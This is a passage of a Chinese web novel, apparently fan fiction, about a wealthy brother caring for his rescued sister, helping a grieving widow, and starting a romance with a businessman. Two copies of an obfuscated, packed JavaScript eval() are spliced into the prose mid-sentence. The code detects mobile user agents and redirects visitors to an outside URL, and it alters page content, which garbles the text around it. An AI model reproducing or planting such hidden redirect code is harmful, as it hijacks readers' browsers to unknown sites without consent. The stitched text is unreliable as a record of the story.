那段朴妍珍十分嚣张霸凌同学的重磅视频更是上了各大媒体新闻,整个世明市都在议论,很快经过详细调查后,她被关入少年监狱服刑,那里都是像她一样的人,恶人自有恶人磨。 窗外,首尔的夏天渐入佳境,别墅庭院里的那棵榕树经过昨日暴雨的冲刷,绿的更为油亮,一对鸟儿在上面做窝,鸟鸣混合着蝉鸣,奏起夏季生机活力的乐章。 东恩坐在沙发上,看着电视里播放的新闻,沉默了许久。 屏幕上一帧帧闪过熟悉的面孔,每一帧都像一场无声的审判,把那些曾经耀武扬威的人,送进他们该去的地方。 尹叙承坐在她旁边,翘着腿,喝着热可可,一副不关我事的样子。 穿透性极强的阳光照在他身上,落在他的侧脸上,仿佛将整个人镀上一层柔和的浅金色的光芒,他耳朵上的钻石耳钉也闪起亮晶晶的火彩,黑发挑染的那抹粉毛颜色好像也更为明丽。 这是他上周心血来潮刚染得,说是“夏天就要有夏天的样子,粉色就刚刚好!” “哥……”东恩转头看他。 “嗯?” “这些都是你做的吗?” 尹叙承眨眨眼,笑得一脸无辜。 “我只是让人把证据交给正确的人而已,毕竟正义也许会迟到,但永远不会缺席嘛!” 他的语气轻飘飘的,好像在说今天天气不错一样平常。 东恩眼眶有些发热,她清楚在韩国,霸凌这种事太常见了,很多霸凌者所受的惩罚,根本比不上被霸凌者所遭受的苦难,甚至有些人连牢都不用坐。 而恶人组五个人能全都进监狱,背后,肯定少不了亲哥哥尹叙承的助力和一些暗中操作。 “原来的班主任……” “哦,他被家长们联合举报开除了,估计以后都无法从事教育行业了吧。” 尹叙承继续喝了口甜甜的热可可。 “那素熙呢,她怎么样了?” “她和她妈妈已经被我的人送到了釜山市,正好我在釜山有房产,就给她们提供了一份看房子的工作,素熙换了新学校,也重新开始了生活。” 尹叙承放下瓷杯,伸手揉了揉东恩的头发,他的手被太阳晒得很温暖。 “素熙她还转告你说,谢谢你,东恩,要一起好好活下去啊!” 文东恩低下头,温热发咸的眼泪滴落,砸在手背上。 她不是因为难过而哭泣,而是感动于自己和素熙都会有一个美好的未来。 是哥哥帮助她们,像炽热的太阳一样,驱散了那些苦难与黑暗。 尹叙承没有说话,只是贴心的用手帕帮她擦掉那些泪水。 风吹动窗外榕树的枝梢,树冠的阴影透过玻璃映在木地板上,日光给清凉的室内带来些暖意,东恩将头侧搭在哥哥肩膀上,听着新闻声,望向绿意盎然的庭院,第一次觉得,这个世界,好像也没有那么可怕,仍有许多美好藏在生活的角落。 不到一个月后,文东恩在尹叙承的安排下,顺利转学到首尔的科学英才高中。 新学校是韩国最好的高中之一,面积比世明高中大了不止一倍,环境绿化很自然,校园种植有成排的流苏树、银杏树等,正值夏季,呈现出一片护眼的绿色。教学楼是欧式风格建筑,橙砖墙壁和绿色玻璃窗的搭配也很清新。 转学第一天,东恩站在校门口,看着来来往往的学生,心里有些紧张。 不过那些身穿整洁校服、背着书包的学生们,都三三两两走在一起,有人聊天、有人笑闹,没有一个人用异样的眼光看她或对她指指点点,更没有人突然冲出来拦住她的路。 东恩深呼一口气,在哥哥尹叙承鼓励的眼神下,走了进去。 第一堂课上,东恩在班主任的带领下,来到新班级。 推开教室门的那一刻,几十双眼睛齐刷刷地看向她,东恩心跳快了一派,不过很快就冷静下来,做了一番自我介绍。 “我叫文东恩,是从世明转来的,很高兴认识大家。” 她站在讲台上,声音有些轻,但很清晰。 话落,安静的教室里便响起了掌声,新同学们的态度不是那种敷衍似的,而是真诚、友善的。 坐在前排的一个扎着高马尾的女生还冲着东恩笑了笑,东恩先是愣了一秒,然后立刻回了个同样友善的微笑。 就像湖面上泛起的涟漪,一圈带起一圈,一个笑容带起另一个笑容,一段友谊的开始就是如石子投入水中一样简单。 上午一节网球课时,那个女生主动来找东恩结伴。 “Hi,文东恩!” “我是金闵雅,咱们一起组队打网球吧!” 她的马尾辫一晃一晃的。 东恩没有拒绝,肯定地点了好几下头。 两人一起去器材室领球拍,去网球场占地方,东恩只跟着尹叙承接触了一些简单的规则,学了点皮毛,并不很熟练,但金闵雅并没有嫌弃她,一遍遍教她发球,耐心地和她对打。 简单休息时,两个人一起坐在网球场旁的长椅上,秀雅叽叽喳喳地说话,东恩就在旁静静地听着,偶尔回应一两句。 “你以前在世明读书,那里怎么样啊?” “……一般吧。” “首尔是不是比那边更热闹些啊,你周末都去哪玩呢?” “……刚来,我还不是很熟。” “那下次我们一起出去玩吧!我知道首尔好多好玩的地方!” “嗯。” 东恩看着她,心里涌起一种奇怪的感觉,很陌生,又很温暖,好像这就是有朋友的感觉? 课间,文东恩陪有些感冒的金闵雅去校医务室,她刚才打球时好像有点受风。 然而,当东恩推开医务室的门时,她愣住了。 坐在校医办公室的那个女人,她认识,正是世明高中先前的校医,不过好久以前因为帮助当时被霸凌的尹素熙,而被朴妍珍她们动用手段开除了。 东恩也曾受过她的帮助,没想到,在这里能遇见这位校医。 “老师?” 校医抬起头,看见她也愣住了。 “文……东恩?” 两人对视了几秒,都露出了笑容。 东恩的新朋友金闵雅见状,也识趣的拿完药,冲东恩挥手告别离开,将空间留给了相遇的二人。 “你怎么在这?”校医问。 “我转学了,老师呢,你怎么也在?”东恩走近医务室的沙发坐下。 “我也被调任到这所学校里了。” 校医给她倒了杯水,放在茶几上。 “世明那边,发生了太多事了,我也想换个环境。” 东恩点点头,没多问,但她知道,医生说的那些事,大概率就是和那几个人有关。 “你最近过的还好吗?” 女校医用关切的目光看着她。 “嗯,我亲哥找到了我,生活也比先前好了不少。” 东恩拿起水杯,喝了一小口。 “那就好。” 校医笑了,东恩也低下头,嘴角弯了弯。 “老师,谢谢你。” “谢什么?” “谢谢你以前给我的帮助。” 校医动容地看着她。 “那都是我该做的,现在都在一个学校,以后要是有什么不舒服也可以来找我。” 东恩轻声回应。 阳光透过绿色玻璃窗落进来,暖烘烘的气味盖过了医务室那股消毒水味。 日子就这样一天一天平静地过去。 文东恩慢慢适应了新学校的生活,金闵雅成了她最好的朋友,两人每天一起放学,偶尔周末假期还会相约出去玩,班级里的其他同学也都很友善,有人借她笔记,有人邀请她一起做小组作业,大家的心思都在好好学习和好好生活上。 尹叙承工作不忙时,也会经常带她到处逛。 有时候是去商场扫购,给他自己和东恩买衣服等各种各样的东西,而且他的眼光很挑,看到合适的就一定要拿下,东恩每次劝他,说买的太多了,他就眨眨眼,无辜地说:“不多,不多,只是咱们俩的东西相加,看起来很多而已……” 没办法,东恩只能由着他去。 有时是一起去品尝好吃的,尹叙承对美食很有研究,知道哪里的烤肉最好吃,哪里的酒店西餐最正宗,哪里的甜品店适合下午茶。他带着东恩一家一家体验,每次都要点很多,还要问东恩的评价,如果回答是好吃,就会露出莫名其妙的微笑。 文东恩后来才知道,如果两人都觉得不错,尹叙承就会把这家店买回来。 有时候是在家看电影,尹叙承明明那么阳光的一个人,却非常偏爱那些悲剧电影,每次看到BE虐心的地方,都会哭的上气不接下气,东恩第一次见他这样还会吓一跳,马上去安慰他,心想哥哥这么坚强的人,也会哭的如此难受吗?不过,后来她就习惯了,只会默默地给尹叙承拿抽纸。 一天晚上,文东恩正在写作业,尹叙承敲门进来,手上还端着一杯热牛奶。 “还在写?” “嗯,明天有重要的考试。” 尹叙承将牛奶放在桌上,在旁边闲置的椅子上坐下,安静地看着她用功的样子。 暖色调的灯光很柔和,牛奶冒着热气,还散发着淡淡的甜香。 “东恩,最近这段时间,你觉得过的开心吗?” 东恩笔下一顿,然后点了点头。 “很开心。” 尹叙承笑了起来,眼睛弯弯的。 “那就好,在这里过的开心就好!” 东恩看着尹叙承在灯光下被衬的更加温柔的笑容,她突然开口道: “哥……我以后想学建筑……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437650|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “建筑?” 尹叙承有些意外。 “嗯,我也想设计出漂亮的建筑,让大家都能欣赏到。” “你看,这是我闲暇时画的设计图。” 东恩从抽屉里拿出一个厚厚的画本,递给了他。 尹叙承接过来,认真地翻看每一页,不由得感叹,哪怕就是他这个外行,都能从中看出东恩在这方面的天赋。 将画本看完后合上,尹叙承先是沉默思考了几秒,然后伸出手,揉了揉她的头,肯定地说: “好!那就学建筑,哥哥支持你!” “我给你请几个这方面的专业老师,平时多带你去看看那些楼盘、景点建筑什么的,再去咨询咨询,有哪些大学的建筑专业特别强!” “放心,东恩很有天赋,你的梦想努力肯定能实现的!” 得到了认证的家人的支持,东恩非常高兴,嘴角扬起的弧度一直都没下去,她感到自己更有奋斗的精力了,学习的速度都加快了不少。 一个普通的星期六,尹叙承带文东恩去见了个人。 车子开进一个位于半山腰的庄园,道路两旁种满了榆树和香樟树,上了年头的老树枝冠很是茂盛,遮蔽了天空,风一晃过,便如同一片绿色的海洋,炽热的阳光无法穿透只能变为点点斑驳的光亮。 东恩趴在车窗上欣赏地看着,眼睛都亮了。 “好看吗?”尹叙承问。 “嗯,好看。” “这些是大姐让人种的,她很喜欢夏天时的林荫路。” 他说着,语气带着点骄傲。 “小时候我住这里,每到夏天她就拉着我在这条路上散步,一边走一边给我讲那些树啊、花啊……” 这不是文东恩第一次从尹叙承口中听他说有关大姐的事了,所以她对这位十分年轻却能执掌一整个均工集团帝国的女强人非常好奇,很期待与她的见面。 汽车在庄园主楼门前停下,法式风格的别墅配色很和谐,附近大片的玫瑰花园,传来阵阵花香。 东恩此时有些紧张,尹叙承拍了拍她的肩安慰她。 “别怕,大姐人很好的。” 进门的时候,文东恩看见一个三十岁左右,气质超然的女人站在客厅里。 她穿着干练的西服套装,一看就是刚结束工作回家,齐肩的短发让整个人显得更为凌厉,强势的气质扑面而来。 光是站在那里,就有一种让人不敢大声说话的气场。 但当这位均工集团的掌舵人尹明敏,见到进来的文东恩和尹叙承时,那种压迫感就骤然转变为沉稳平和与喜悦。 “大姐!” 尹叙承笑着走过去,就像归巢的小鸟。 “这就是东恩!” 尹明敏的目光落在一旁的文东恩身上,从上到下打量了一遍。 那目光很温和,没有半分审视的意思,但却很有分量,东恩被看的有些紧张,但很努力的想留个好印象,她很有礼貌地跟大姐打招呼。 然后尹明敏笑了,那笑容和尹叙承有些像,只是内敛了许多,不是那种阳光灿烂,而是淡淡的,很让人安心。 “东恩,欢迎你来!” 她走上前,轻轻与文东恩拥抱了一下。 东恩闻到一股同样淡淡的香水味,像是雨后的森林。 尹明敏放开她,转头看了尹叙承一眼,眼里仍带着笑意。 “叙承给我念叨你念叨一个多月了,说她找到的亲妹妹这好那好,今天终于见到了。” 尹叙承挠挠头,在大姐们面前有些不好意思。 东恩听着,心里暖洋洋的,也有些不好意思。 三人家庭聚餐的时候,尹明敏问了她许多事,比如学习怎么样,新学校习惯吗,以后想做什么…… 东恩都一一回答,渐渐放松下来。 “建筑?” 当尹明敏听到东恩的未来的高考志愿时,眼睛亮了一下,她放下筷子,看向东恩。 “好志向啊,今年是2004年,看情况二十年内建筑行业还是很有前景的。” “我们均工集团也有很多建筑方面的人才,以后毕业实习时也可以来这边学习交流一下。” “谢谢大姐。” 东恩用力点点头。 尹明敏笑了笑,带着不易察觉的温柔。 “大姐,你对我都没这么好过!”尹叙承开玩笑地说。 “你?”尹明敏瞥了他一眼。 “你上次看中的那块地皮,不是我帮你牵的线?” “那是生意!我说的是关心!”尹叙承不服气。 “那我每天给你打一个电话,这不叫关心?” “……那是查岗……” 东恩在旁听着,忍不住笑了。 这是她第一次见到这样的尹叙承,不是那个永远阳光开朗,什么都搞得定的哥哥,而是一个会斗嘴、会撒娇、会耍赖的弟弟。 她忽然觉得,这样的生活真好。 临走时,尹叙承先一步上车,东恩被大姐叫住。 傍晚,太阳渐渐沉入地平线,夕阳橘黄色的光落在二人身上,都染上了一层暖色。 “东恩……”她忽然说,“叙承他,虽然不是父母亲生的,但我们也是从小将他宠大的,有时候他做事可能不太靠谱,但是他的心一定是好的。” “这是大姐的电话号码,你记一下,以后有什么事,也可以来找我。” “好。” 东恩看着她,认真的回答。 尹明敏伸手,也揉了揉她的头发。 那动作和尹叙承一模一样。 回去的路上,文东恩又靠在车窗上,看着不断后退飞逝的晚景,忽然说: “哥……大姐人真的很好……” 尹叙承开心地笑了,能看到大姐和妹妹好好相处,他自是发自内心的高兴。 “是吧,我就说她很好的!” 东恩看着他,嘴角也弯了起来。 她想,她好像又多了一个关心自己的家人。 4. 如果在冬季相遇 十一月的世明市,已经有了冬天的味道。湿润的海风中带着萧瑟的冷清感,夏日金黄的石英砂沙滩变成了淡淡的米白色,黑尾鸥展翅在天空上盘旋,红嘴鸥静静站立在沿海路的栏杆上。 尹叙承把车停到沿海公路旁,推开车门,咸湿的风立刻灌了进来,他缩了缩脖子,把黑白格子的羊毛围巾往上拉了拉,遮住半张脸,转头看向副驾驶坐着的东恩。 “就是这里?” 文东恩点点头,看着车外那片灰蓝色的海。 这是她生活在世明市时,最喜欢的地方。那会儿,如果自己受了委屈,就会一个人跑到这里,看海浪一遍遍冲刷礁石与沙滩,好像能把那些不开心的事也一并冲走。不过自从转学去首尔后,她便一次都没有回来过。 不是不想,而是不敢。 那些过往的记忆仍然藏存在心底,就像是一些碎玻璃,你以为已经清理干净,可不知道什么时候又会冒出来扎到,哪怕她一点点将其拔出,也避免不了刺痛。 就像东恩看过的一本心理书上写的那样:不幸的原生家庭、不幸的童年,将要用一生来治愈。 尹叙承没有对此干涉什么,他知道有些伤需要时间,有些痛只能自己消化。他能做的只是用充足的物质和生活的享受帮她缓解阵痛期。 最近东恩学习的过于用功了,常常熬夜到凌晨,连他看了都感觉累得慌,所以就想带东恩出门看看风景、放松放松。 不过首尔市二人可以说是从夏天逛到了冬天,没有什么新意了。他正发愁周末去哪,最后东恩沉默了好一会儿,才在一旁轻声说,想去世明市看看海,尹叙承二话不说就同意了。 “走吧,一起去看看海。” 两人沿着公路向前走,冬日的海边没什么人,只有几只海鸥在礁石上晒太阳,海浪一下又一下地拍打着岸边,扬起水石撞击的单调声响。 走了一会儿,东恩的脚步忽然停下。 “哥,你看。” 尹叙承顺着她手指的方向看过去,不远处的礁石旁,一个老太太弯着腰,好像是在海里在找什么,一阵强风吹得她摇摇晃晃,单薄的身子看起来随时都快倒下去似的。 “那是在干什么?” “不知道,海水这么冷,她的情况看起来不太妙,哥,我们过去看看吧。” 东恩的声音有些担忧。 尹叙承皱了皱眉,就在这时,海中一个猛烈的浪头打上来,老太太没站稳,整个人往前栽倒。 “小心!” 东恩和尹叙承见状赶忙冲过去,他们用自己都不知道哪来的速度赶到,分别抓住老太太的胳膊,拼尽全力将她往回拽。 冰冷刺骨的海水没过尹叙承和东恩的小腿,刺骨的寒意令人打着哆嗦,但他们都顾不上这么多,救人要紧,只管把老太太往岸上拖。 全身湿透的老太太无力地跌坐在沙滩上,喘着粗气咳嗽着,半天说不出话。 “您没事吧?”东恩将裤腿挽起,蹲下来问她。 “有没有哪里伤着?” 老太太抬起头,那是一张满是皱纹的脸,但她的眼睛却很亮,像是重新燃起了什么希望。 “没事,没事……” “谢谢你们……” 她的声音很是沙哑,还带着浓厚的世明口音。 “您一个人来海边,家里人放心吗?” 尹叙承心里大概有种猜测,这个年纪、这个天气,一个人往海里走,可能不是意外。 老太太只是笑了笑,笑容中有种说不出的苦涩。 “只剩我一个了……一个啊……” 尹叙承与东恩对视一眼,都陷入了沉默。 “太太,那您的家在哪,我们将您送回家吧。” “天太冷了,您这样在外很危险。” 东恩扶着老太太站起身来,尹叙承也点了点头表示同意,脱下自己的大衣披在了她身上。 老太太看着尹叙承,又看了看东恩,眼眶突然红了。 半个小时后,三个人坐在老太太位于伊甸公寓的家中。 这是一间开了多年的房产中介,兼做住所。 房子收拾的很是干净温馨,木地板亮的能映出人模糊的样子,阳台上摆着绿色的小植物,墙上挂着一张黑白照片,是个笑的腼腆的年轻男人。 老太太给二人倒了热水,自己也在旁边坐下。她换了一身干衣服,显得整个人更瘦了。 “那是我唯一的儿子。” “因为车祸去世了……” 她怀念地看着墙上的照片。 “本来,我也想跟着他走的……” “不过海水太冷了,对吧?谢谢你们救了我这个老太太……” 她笑了笑,眼里有了泪水。 东恩喝了口热水,热水顺着喉咙滑下,却无法压制住心口那股酸涩的感觉。她沉默着没有说话,但却能体会老太太那孤单绝望的无助感受,这与先前的自己何曾相似。 “太太,您这边的房子卖吗?” 尹叙承放下水杯问,忽然开口。 老太太愣了一下。 “卖?” “嗯。” “我看您是开房产中介的,而且伊甸公寓这边的位置属实不错,是我在世明市最为相中的房子了,想买几套,您开个价?” 尹叙承当时来到这附近就眼前一亮。 老太太看着他,半天没说话。 东恩也看着他,有点懵。 “太太,我们活着的人,也许更应该带着逝者的愿望向前看,您的儿子肯定更希望母亲能够好好生活、长命百岁的。” “不如将那些落寞的心情全都埋在冬季的那片海中,带着希望在春暖花开时绽放,或许房产中介生意的重新开张,会让您找回活下去的勇气和自信?” 尹叙承冲注视着自己的二人眨眨眼,他不是一个善于安慰的人,很多时候,他更想用行动表示自己的支持与鼓励。 东恩听后,内心像被羽毛扫了一般触动,那些过去的事,已经像哥哥说的那样随时间流逝了,现在和未来才是更重要的。 老太太忽然笑了,不是苦涩的,而是带着一点明亮的希望。 “你这个小伙子,有意思。” “房子本来就是卖的,毕竟我也是房产中介的老板啊。” 那天下午,尹叙承买下了老太太三套房子,其中两套都写了东恩的名字。 签合同的时候,老太太的手有些抖,但笑容很稳健。 “你们都是好人,房子卖给你们,我也放心。” 尹叙承简单浏览一遍合同后,就递给了刚刚赶来为他和东恩带来换洗衣物的助理白允。 东恩在旁边看着这一切,忽然觉得他哥这人真是奇怪,对别人和对她自己时明明可以一走了之,不管不顾,视而不见,但他却非要用行动告诉别人,你很重要,你值得被帮助,你的存在是有意义的。 但她知道,这就是她那个会帮她赶走霸凌者、救助素熙和老太太、安排好一切的,像太阳一样温暖的哥哥。 从老太太家出来时,太阳正在一点点沉进海里,橘红色的晚霞为海面也染上了一层暖光。 尹叙承和东恩回到海边,海风比白日更凉了,海鸥也各自回巢,不见踪影。 “哥,你为什么要买那几套房子?” 东恩忽然开口。 “因为位置好?” 尹叙承想了想说。 东恩认真地看着他。 “真的啦!” 东恩没说话,只是继续看着他。 尹叙承没办法,叹了口气,呼出的白雾很快就散了。 “好吧,是因为那个老太太让我想起了一个人。” “谁?” “我母亲……养母。” 尹叙承停下来,靠在栏杆上,声音轻了许多。 “当时我爸因病先走了,她伤心过度,没几天也跟着去了……” 风吹乱了他的头发,那个挑染的粉色头发在夕阳下显得格外柔和,但他整个人却有些不易察觉的惆怅,眼神虽然落在近处,却又像是在看很远很远的地方。 东恩看着怀念往事而散发孤单落寞气息的哥哥,忽然伸手,握住了他冰凉的手。 尹叙承愣了一下,低头看她。 “哥,你以后不会一个人的,我和大姐都是会做你一辈子的家人的。” 尹叙承露出了一个和平时不太一样的笑容,不是那种阳光灿烂、没心没肺的笑,而是像是被触动内心最柔软的部分而漫上来的发自内心的笑容。 “嗯!有你们在呐!”他声音有些发哑。 两个人继续漫步海边,夕阳将一大一小的影子拉的很长,落在马路上,挨在一起。 从世明市回到首尔的第三天,一个意料之外的人突然上门拜访。 “小少爷,我带了个人来见您。” 白允站在书房里,白发梳的一丝不苟,身穿笔挺的黑色西装,恭敬地说。 他是尹叙承最得力的下属,从安保公司成立第一天就跟着,办事十分稳妥,从不多话多事。 非工作时间见到白允,尹叙承还挺意外的。 “什么人?” 他从电脑屏幕后抬起头。 “一位女士……” 白允顿了顿,似乎在斟酌措辞。 “之前您安排我去世明忙分公司的时候,我见过她几次,是隔壁一家小学校长雇的保姆,干活利索,人也本分。” “我当初收集那五个霸凌者信息时,这位大姐曾经帮过我,提供了不少线索。” “最近您不是在招住家保姆,却一直没找到合适的吗,我就想推荐一下……” 尹叙承挑了挑眉。 “你什么时候开始管起家政的事了?” 白允的表情没什么变化。 “就是这大姐能力很强,但她老公总是家暴她母女俩,我知道后看不下去,就……” 他没把话说完,但意思已经很明显了。 尹叙承看着他,忽然笑了。 “白允啊,你什么时候变得这么心软了?” “跟小少爷学的……” 白允认真地说。 尹叙承愣了一下,捂额头无语道: “好吧,让她进来吧。” 面试进行的很为顺利,尹叙承很肯定和满意大姐的能力,不仅家政是一把好手,在侦查方面也颇有潜力。 尹叙承给她开了双份工资,一份是保姆,另一份来自安保公司,以后他的工作时间将分为两半,一半接受侦查培训,一半照顾家里,直到成为一个合格的情报收集人员。 至于那个家暴老公的麻烦因素,尹叙承直接交给白允去解决,没过几天,大姐丈夫因故意杀人未遂和家暴而被判了终身监禁。 尹叙承自从找到亲妹妹后,就再也见不得这种恃强凌弱、以大欺小的事情发生,他在世明的分公司成立了慈善安保部,专门去帮助那些弱势妇女等群体。 首尔的冬景,相对春夏秋来说有些逊色,别墅窗外一片灰蒙蒙的,像是快要下雪的样子。 东恩也与新来的保姆大姐相处的不错,很是合拍。 尹叙承坐在阳台的摇椅上看书,东恩在得知大姐过往经历后找来。 “哥,谢谢你帮她。” “你谢什么,保姆大姐早就感谢过我了。” 尹叙承揉了揉东恩头发说。 东恩只是眼睛亮亮地看着他。 “我是替她,替那些遭受过苦难被你帮助过的人来谢谢你。” “看来你知道我成立了慈善安保部了?” “东恩等你长大了,有了保护他人的能力后,你会做的比我更好的。” 尹叙承说到这,笑了笑。 “嗯,我也会像哥一样,尽己所能去帮助那些人的!” 东恩用力点点头,奋劲满满的又回屋学习了。 被这么一打扰,尹叙承也无心再读书。 他站起来活动活动僵硬的身体,走到落地窗边。 阴沉的天空飘起了首尔的第一场雪,小而晶莹的白色雪花落在窗户上,很快就化成水珠。 尹叙承看着窗外慢慢变白的世界,心想,下雪了,不知道河道英现在在干什么。 他们之间虽然平常有不少往来,但都是工作层面居多。 所以当尹叙承在一场圣诞晚宴上,再次见到河道英时,他内心有种隐秘的高兴,像是小时候偷偷吃了很多糖,却没人知道,只有自己心里甜。 晚宴是在首尔最豪华的酒店举行,各界人士大咖相聚于此,相互寒暄,谈论些简事。 尹叙承穿着合身的深蓝色西装,站在角落里,百无聊赖地喝着香槟。他本来不想来的,平日里潇洒任性惯了,更喜欢穿着休闲装自由自在的氛围,骤然套上西装,身处名利场里,总有种被束缚的感觉。 但谁让大姐说均工集团需要有代表出席呢?而她忙于工作没空,让尹叙承必须替她出席呢。 他只好来了。 谁料还有意外惊喜呢。 在一堆中老年总裁代表中,尹叙承一眼就看见了最为年轻的河道英。 他站在宴会厅的另一端,穿着经典的裁剪合体的黑色西装,正在和一个中年秃顶好男人说话。 一旁圣诞树上灯带的暖色光落在河道英身上,衬得整个人身材挺拔,五官深邃。 尹叙承一动不动地看着,忽然觉得手中的香槟口味和整个晚宴没那么无聊了。 而河道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437651|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英好像感应到什么,也转过头,向这边看了一眼。 两人的目光在人群中相遇。 那一瞬间,尹叙承的心跳漏了一拍。 河道英微微一顿,然后和身边人说了句什么,他放下酒杯,径直朝尹叙承走去。 “尹小少爷。” “河道英代表,真巧!” “不巧,我知道你会来。” 尹叙承愣了一下。 “你是问的我大姐?” “不是,是猜的。” 河道英看着他,嘴角微微扬起。 “猜的?” 尹叙承眨了眨眼,不太相信。 “嗯。” “这种场合,你大姐一般不会来,所以代表均工集团出席晚宴的,只能是你。” 河道英说。 “你还挺了解我们家的嘛。” 尹叙承看着他,忽然笑了。 河道英没回应,只是看着他。 那目光尹叙承看不太懂,但他能感受到就像是火一般,隔着一点距离,也能感受到灼人的温度。 “要不要去阳台那边透透气?”河道英问。 “好啊。” 尹叙承将香槟一饮而尽,把杯子放在旁边的桌上。 两个人并排着走到露台。 推开玻璃门,十二月底冬夜的寒风立刻就灌进来,吹得尹叙承缩了缩脖子,他是最怕冷的。 偏偏今天他穿的不多,那件深蓝色西装好看是好看,但是不保暖,一吹就透。 河道英见了,也没说话,只是脱了自己的外套,披在尹叙承身上。 “你不冷?” 尹叙承愣了一下,面露疑惑。 “不冷。” “呐,你知道吗,这样会让我误会的。” 尹叙承看着他,明媚地笑道。 “误会什么?” 河道英也看着尹叙承。 “误会你也喜欢我啊。” 河道英先是沉默几秒,然后他平静地说: “不是误会。” 尹叙承微微张大嘴,呆住了。 带着寒意的凉风从两人之间吹过,但尹叙承觉得风怎么突然有些热,脸怎么有点红。 “你,你说什么?!” 河道英看着他,一字一句清晰肯定地说: “我说,不是误会。” 尹叙承心跳的飞快,快到他觉得河道英离这么近都能听到。 “河道英……你……” “见你第一面时,我就对你有好感了,是真的,不是什么客套话,更不是在开玩笑。” 他停顿几秒,又继续说: “这几个月,我每次都是借着工作的名头想见你。” 尹叙承惊讶地不自觉的屏住呼吸。 “这是我第一次对一个人有爱情方面的好感,或许我的追你的行为不是那么明显,只会给你介绍大量的生意……” 河道英说话的时候声音还是那么低沉、充满磁性,但尹叙承却听出了一点不一样的情绪。 是紧张啊。 这个从外表看开永远冷静克制的男人,在紧张。 尹叙承了然地露出一个轻柔的笑容,像是冬日飘落的雪。 “河道英,你知道吗?” “其实我也早就对你有好感啦!” 河道英望着对方,沉浸在尹叙承那笑容与话语中,眼里也有了真正的喜悦的笑意。 他伸出手,把尹叙承揽进怀里。 怀抱很暖,带着淡淡的雪松香,尹叙承心满意足的将脸埋在他胸口,高兴地蹭了蹭。 他们都不是扭捏的人,有好感就大大方方直白地表达。 从那以后,两人几乎每天都见面。 有时候是河道英约的,他会发一条言简意赅的短信。 [晚上有空吗?新开了一家餐厅] [附:餐厅地址和订座号] 尹叙承收到看见后,嘴角就会不自觉地翘起,一直盯着那短短的几行字。 有时候是尹叙承主动的。他会发一堆可爱的颜文字过去,然后问: “今天忙不忙,要不要出来散散步?” 河道英的回复永远都是简短的一个“好。” 尹叙承知道,他肯定会推掉所有不重要的安排。 吃饭、散步、看电影、喝下午茶……普通情侣做的事,他们一件件都体验了。 有一次两人在一家高档西餐厅吃饭。 尹叙承吃着切好的牛排,忽然想起来什么。 “对啦,你不喜欢肉桂味道对吧!” 河道英愣了一下,“你怎么知道?” “上次下午茶,我点了肉桂苹果卷,你看了好几眼但一口都没吃。” 尹叙承俏皮地眨眨眼。 “你观察的很仔细。” 河道英看着对面享受美食的青年,心里很是触动。 “那当然啦,我对喜欢的人,都会很仔细认真的。” 尹叙承得意地晃了晃叉子。 “那我应该感到很荣幸。” 河道英嘴角微微扬起。 “应该的!” 一月份元旦的时候,两人开车跑到汉江边散步。 那天很冷,江面早就冻住了厚厚的一层冰,尹叙承穿着长款白色羽绒服,还是被风吹得有些发抖。 河道英像是早有预料般的,从车里拿出一件崭新的羊毛大衣,好像是他自己穿的那件大衣的同款,直接披在了尹叙承身上。 又走到他身侧,替他挡风,还不由分说地将青年冰凉的手塞进自己的大衣口袋。 做完这些,河道英望着江面,表情淡淡的,好像刚才什么都没发生。 但尹叙承看见了,河道英的耳尖好像红了一点,他笑了,没有戳穿,只是光明正大地往男人身边靠了靠。 而在电影院包场看电影时,两人遇到了一部很无聊的文艺片。 慢镜头太多、色调太干、剧情像蜗牛一样在爬。 尹叙承看得昏昏欲睡,他靠在椅背上,眼皮越来越重,头一点一点地向下栽。 迷迷糊糊中,他感觉有人把他的头轻轻拨了过去,靠在一个舒服温暖的肩膀上。 他忽地睁开眼,看到了河道英的侧脸,荧幕的光一闪一闪地映在上面,把他俊朗的轮廓照的忽明忽暗。 “睡吧。” 河道英低声说,语气很轻,像是怕吵醒他的睡意。 “结束了再叫你。” 尹叙承没说话,又闭上了眼睛。 他靠在河道英肩上,闻到他身上淡淡的香水味,很清冽、很助眠,如同冬季的雪松气息一样,带着木质调的温柔。 那一觉,尹叙承睡得很沉。 5. 成年人的爱情 雪停了又下、下了又停,首尔的冬天就在一场又一场的雪中慢慢走远。 日子也在平淡又温馨的时光中过了一天又一天。 三月初的某天清晨,早起的尹叙承推开卧室窗户通风,不经意发现庭院里那棵大榕树的枝条,不知何时冒出了嫩黄绿色的新芽,被风一吹还有些怯生生、颤巍巍的,但却充满了真实的生命力。 他趴在窗台上看了很久,嘴角不自觉地翘起,回暖的初春东风微微抚过他蓬松的黑发,晨光映的他整个人气质很是柔和。 手机短暂震了几秒,特别短信铃响起,打断了正享受春日时光的尹叙承,不过他的心情却依然愉悦,毕竟他为重要的人都设置了独特的铃声,这次不用猜就知道是河道英的来信。 [醒了?] [嗯哼,醒啦,你吃早饭了没?] 对方很快发来一张照片,纯黑办公桌上摊着白色的纸张文件,旁边放着一杯咖啡和一盘三明治。 [在吃,你呢?] 尹叙承盯着那张照片,忽然觉得心里有点软,他也随手拍了一张窗外春日的风景照发送过去。 [还没,刚醒,在看春天。] 河道英的消息几乎是秒回。 [快去吃。] [ps:照片的景色也很美] 